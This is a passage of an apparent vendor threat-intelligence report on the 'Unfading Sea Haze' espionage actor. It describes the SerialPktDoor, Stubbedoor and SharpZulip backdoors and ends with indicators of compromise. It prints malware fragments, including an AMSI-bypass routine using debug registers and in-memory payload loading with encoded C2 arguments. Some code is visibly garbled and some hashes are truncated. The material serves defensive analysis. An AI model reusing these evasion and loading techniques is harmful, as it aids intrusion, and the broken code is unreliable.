            {
                int borderSize = GetConsoleWindow();
            } catch {}
            return true;
        }
    }
}
```

This agent was attempted to be executed by the LNK files from the archives crafter for gaining initial access, but there is evidence that **Unfading Sea Haze** operators deployed manually scripts containing C# code as `c:\users\<user>\appdata\local\microsoft\windows\caches\cversions.db` and executed it with msbuild.exe.

The **SerialPktDoor** is contained in the script as a byte array encrypted with AES that is subsequently decrypted and loaded into the memory, followed by the invocation of its main function with the necessary arguments:

```csharp
GetType("TestApp.Program").GetMethod("Main").Invoke(null,new object[]{new string[] {"MTQvMWUwYTZkYjg0M2MvYjdhMC9jL2M2M2QxZDVkMWU=","95327","anBfYStwaXJqX2wrYGxq","320","3116"}})
```

The Main function expects five arguments:

1. The first argument is base64 decoded and ADD 1 is applied to all bytes, resulting in a string (e.g. 2502f1b7ec954d0c8b10d0d74e2e6e2f from the example above) - it is not used by the agent
2. The second parameter indicates if the C2 address is an IP address or a domain name – if the provided value if greater than 65535, then the C2 address is a domain, and it will be resolved
3. The third parameter is the encoded C2 address – it is base64 decoded and ADD 3 is applied to the result (e.g. `msbd.slumbo[.]com`)
4. The fourth parameter is used to calculate the port to be used to contact the C2 – to the provided value is added 320 and the resulting value is used as the port
5. The fifth parameter indicates if the agent should use TLS over TCP or raw TCP for communication with the C2 – if the value is greater than 2001 then TLS will be used

After invocation, the agent prepares some information about the infected system to be sent to the C2 such as machine GUID and the local IP address.

The **SerialPktDoor** uses extensively inheritance and polymorphism – the exchanged messages with the C2 are serialized structures that extend a few base types. For instance, each serialized structure extends a type that contains the TypeID and the size of the serialized data that follows:
So, the agent reads the first 12 bytes from the C2 connection and determines how much data needs to be read to assemble the full packet.

The first packet sent to the C2 was assigned type 0x80 and contained the machine GUID. All subsequent messages are encrypted with AES using the key and IV derived from the machine GUID.

In a loop, the agent reads the packets and depending on the TypeID the targeted functionality of the agent will be invoked:

<table>
<thead>
<tr>
<th>Pkt Type ID</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x88</td>
<td>Sends to the C2 system information such as the local IP address, the C2 address, OS full name, OS version, current process PID, assigned privileges, current process name, OS architecture, username and domain name</td>
</tr>
<tr>
<td>0x8e</td>
<td>Creates an instance of PowerShell Tabpage (a new entry in a dictionary with pairs of tabids and System.Management.Automation.PowerShell instances); The tabid is received from the C2 and will be used to load PowerShell scripts and execute PowerShell commands using the corresponding System.Management.Automation.PowerShell instance.</td>
</tr>
<tr>
<td>0x8f</td>
<td>Contains a PowerShell command and a tabid and executes the command using the instance of System.Management.Automation.PowerShell by calling AddCommand(&lt;received psh code&gt;), AddScript(&quot;Out-String&quot;) and Invoke; The output is sent back to the C2</td>
</tr>
<tr>
<td>0x90</td>
<td>Receives from the C2 a PowerShell script and a tabid and will load the script into the PowerShell instance; The output of the script and the message “this Tabpage has successfully loaded the script named &lt;script name&gt;” is sent back to the C2</td>
</tr>
</tbody>
</table>
| 0x93        | Lists the PowerShell script loaded into a particular Tabpage; For each loaded script, a line “The Tabpage has loaded <script count> script: ------------------------------- <psh script name one per line> --------------------------------” will be generated or “The Tabpage does not load any script!
” will be sent back to the C2 |
| 0x94        | Closes the Tabpage by tabid; |
| 0x96        | Lists a directory or lists the drives; |
| 0x97        | Deletes the indicated directory |
| 0x98        | Deletes the indicated file |
| 0x99        | Downloads a file from the C2; Receives structures that describes a chunk of file content – contains the file path for the file to be written to disk, the offset of the chunk within the file and the content; The chunk size is of 104857600 bytes; |
| 0x9a        | Uploads a file to the C2; Receives a structure describing a chunk of the file – contains the file to be uploaded to the C2; The chunk size is of maximum of 104857600 bytes; |
| 0x9e        | Implements TCP forwarding capability; Receives from the C2 the IP:port and creates a manager structure that will connect to the C2, will receive the content to be forwarded to the connection to IP:port and will send back the C2 the content received from the IP:port connection; The manager exchanges messages with the C2 over a new connection; The packets with type 0xA0 are received from the C2 and packet content will be sent to the IP:port; The packet with type 0xA1 is sent to the C2 with the content received from the IP:port; |

**Stubbedoor**

The malware was found within Ps2dllLoaders that invokes the Main function as follows:

```powershell
[stub.Program]::Main@("upupdate.ooguy[,]com", "443", "123456", "41530")
```

The four parameters represent the C2 address, the port, the passphrase used as seed material for deriving AES key and IV and the last parameter representing a sleep time between reconnecting to the C2.

The string representing the port is checked if it contains the “s” character, and if so, the TLS over TCP will be used. Otherwise, the C2 will be contacted over raw TCP.

The malware captures system information such as the domain name, username, and local IP address. It then packs the information,
compresses it with GZIP, and encrypts it with AES.

The key for AES-CBC and the IV is derived with Rfc2898DeriveBytes from the sha256 over the seed provided as an argument to the Main function, and for the salt, the hardcoded value \{ 49, 84, 113, 56, 25, 34, 100, 9 \} will be used.

The agent exchanges messages in the length-prefixed format where the first 4 bytes of the message represent the length of the data that follows.

The main capability of the Stubbedoor is to receive from the C2 encrypted .NET assembly, to load them and invoke its Main function:

```csharp
Assembly.Load(p0王府102.ToArray()).GetMethod("stub.Program").GetMethod("Main")
    .Invoke(null, new object[]{
        p0.communicationClient.c2_address,
        p0.communicationClient.port,
        p0.communicationClient.oscKeySecd,
        p0.communicationClient.use_ssl
    });
```

### SharpZulip experiment

The SharpZulip agent was delivered by a Donutloader shellcode responsible for loading the CLR runtime and executing the malware.

The agent starts by making a patch for the function AmsiScanBuffer using a vectored exception handler and breakpoints:

```csharp
public static void Init()
{
    WinAPI.CONTEXT64 context = default(WinAPI.CONTEXT64);
    context.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_ALL;
    MethodInfo method = typeof(Patch).GetMethod("Handler", BindingFlags.Static | BindingFlags.Public);
    WinAPI.AddVectorExceptionHandler(1U, method, MethodHandle.GetFunctionPointer());
    Marshal.StructureToPtr(context, Patch.pCtx, true);
    WinAPI.SetThreadContext(Patch.pCtx, 0, Patch.pCtx);
    context = (WinAPI.CONTEXT64)Marshal.PtrToStructure(Patch.pCtx, typeof(WinAPI.CONTEXT64));
    Patch.EnableBreakpoint(context, Patch.AmsiScanBuffer, 0);
    WinAPI.SetThreadContext((IntPtr)(-2), Patch.pCtx);
}
```

For the breakpoint setup, the debug control registers are used:

```csharp
public static void EnableBreakpoint(WinAPI.CONTEXT64 ctx, IntPtr address, int index)
{
    switch (index)
    {
        case 0:
            ctx.Dr0 = (ulong)address.ToInt64();
            break;
        case 1:
            ctx.Dr1 = (ulong)address.ToInt64();
            break;
        case 2:
            ctx.Dr2 = (ulong)address.ToInt64();
            break;
        case 3:
            ctx.Dr3 = (ulong)address.ToInt64();
            break;
        case 7:
            ctx.Dr7 = Marshal.SetBits(ctx.Dr7, 16, 16, 0UL);
            break;
        case 7:
            ctx.Dr7 = Marshal.SetBits(ctx.Dr7, index == 1, 1UL);
            break;
        ctx.Dr0 = 0UL;
        Marshal.StructureToPtr(ctx, Patch.pCtx, true);
    }
}
```

The agent instantiates a ZulipApi object by providing the URL, username, and API token. Then, in a loop, the agent pulls the messages from the stream “NDFUIBNNFWDNSA” and checks the subject to determine the commands to execute. If the subject of the message corresponds to “time,” then the sleep time between the messages’ pulling is adjusted by the provided value.

In case the subject of the message contains the string “_S”, then the message content is be parsed by the ConvertDataToDictionary function in a similar manner as seen in sharpJsHandler – the returned dictionary is expected to contain a hardcoded key “admin”: ...
The dictionary is then passed to the `Execute` method that combines the payload with the necessary imports and creates a C# code:
The code is dynamically compiled and the Execute method is invoked:

```csharp
public static void Execute(Dictionary<string, string> item, string pass, HttpContext context, Stream OutputStream)
{
    try
    {
        CodeDomProvider codeDomProvider = new SharpCodeProvider();
        CompilerParameters compilerParameters = new CompilerParameters
        {
            GenerateExecutable = false,
            GenerateInMemory = true,
            ReferenceAssemblies = new[]{"System.dll"},
            ReferenceAssemblies = new[]{"System.Data.dll"},
            ReferenceAssemblies = new[]{"System.Web.dll"},
            String text = codeDomProvider.CreateTextFileContents<String>("A string")
        }
        CodeDomProvider.Application = (Dictionary<string, object>)codeDomProvider.Compil Assembly.RemoveSource(compilerParameters, new string[] { text }).CompiledAssembly.GetType(".s.b").GetMethod("execute").Invoke(null, new object[]
        {
            codeDomProvider.Application,
            item,
            contentRequest, context.Request, contentResponse, OutputStream
        });
    }
    catch (Exception ex)
    {
        byte[] bytes = Encoding.UTF8.GetBytes(ex.Message);
        OutputStream.Write(bytes, 0, bytes.Length);
    }
}
```

The output of the invoked method is collected and sent back to the stream as a message with the subject of the initial message but with the substring “_S” replaced with “_R”.

The original message is deleted.

**Attribution**

Bitdefender has not been able to attribute the investigated incidents to a publicly known threat actor or group and continues to refer to the threat actor as **Unfading Sea Haze**. Given the focus of the threat actor on government and military organizations from countries of the South China Sea, it is very likely that the actor is aligned with China’s interests.

The utilization of various Gh0st RAT variants is linked to numerous threat actors of Chinese origin, implying that the sharing of closed-source RATs and tools is a prevalent practice among Chinese state-sponsored actors.

The functionality of running JScript code integrated into SharpJSHandler resembles the invoke command found in the funnyswitch backdoor, reportedly utilized by APT41 according to Positive Technologies. Just like SharpJSHandler, funnyswitch loads the .NET assembly Funny.Eval from a base64 encoded string. Funny.Eval includes the Invoke method, which requires three parameters such as a dictionary containing the payload and a password used to identify the payload within the dictionary. It then executes the JScript code with the assistance of the Microsoft.JScript.Vsa library. This makes the Funny.Eval very similar to Eval.Handler used by SharpJSHandler, but the similarities end here, given that funnyswitch embeds numerous additional features.

No additional overlaps with APT41’s tooling were discovered, and this resemblance between Funny. Eval and Eval. Handler could serve as another indication of code-sharing practices.

By sharing the discoveries concerning the **Unfading Sea Haze**, we aim to encourage the cybersecurity community to respond, assist in disrupting malicious activity, and further the attribution process to its conclusion.
# IOCs

## Hashes

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<td>Ps2dllloader</td>
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<td>SilentGh0st</td>
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</tr>
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<td>WPD USB monitor tool</td>
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f54b4ed43b3729797f3baf6e5c7c799e73 InsidiousGh0st
cd0b81705eb2a1470e44f7f6660d5f4 InsidiousGh0st
80fb9865209f8d8d1017c8151c79ef74 Network scanner
c8c990cfd6d10ac805e9e0a4471579a EtherealGh0st
0fd06c0c93c77845803a37c44adf2f4 InsidiousGh0st
c182b3e594a416fe59f3613c08a8c0f InsidiousGh0st go variant
942086934f4dd65c3e0158c9b88d98933 SharpZulip
124bdaaa70da4daecbc0513b6c0558e

File paths

c:\program files\videolan\vlc\msftedit.dll
c:\programdata\adobe\asm\asm.dll
c:\programdata\coint.dll
c:\programdata\epson\setup\msftedit.dll
c:\programdata\microsoft\devicesync\msftedit.dll
c:\programdata\microsoft\network\connections\winsync.dll
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<td>c:\programdata\microsoft\windows\clipsvc\msftedit.dll</td>
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Domain names

- upupdate.ooguy[.]com
- fc.adswt[.]com
- mail.simpletra[.]com
- mail.adswt[.]com
- api.simpletra[.]com
- bit.kozow[.]com
- bitdefenderupdate[.]org
- auth.bitdefenderupdate[.]com
- mail.pcygphil[.]com
- mail.bomloginset[.]com
- dns-log.d-n-s.org[.]uk
- linklab.blinklab[.]com
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- mail.theworkguyoo[.]com
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- word.emldn[.]com
- provider.giize[.]com
- rest.redirectme[.]net
- api.bitdefenderupdate[.]org
### IP addresses

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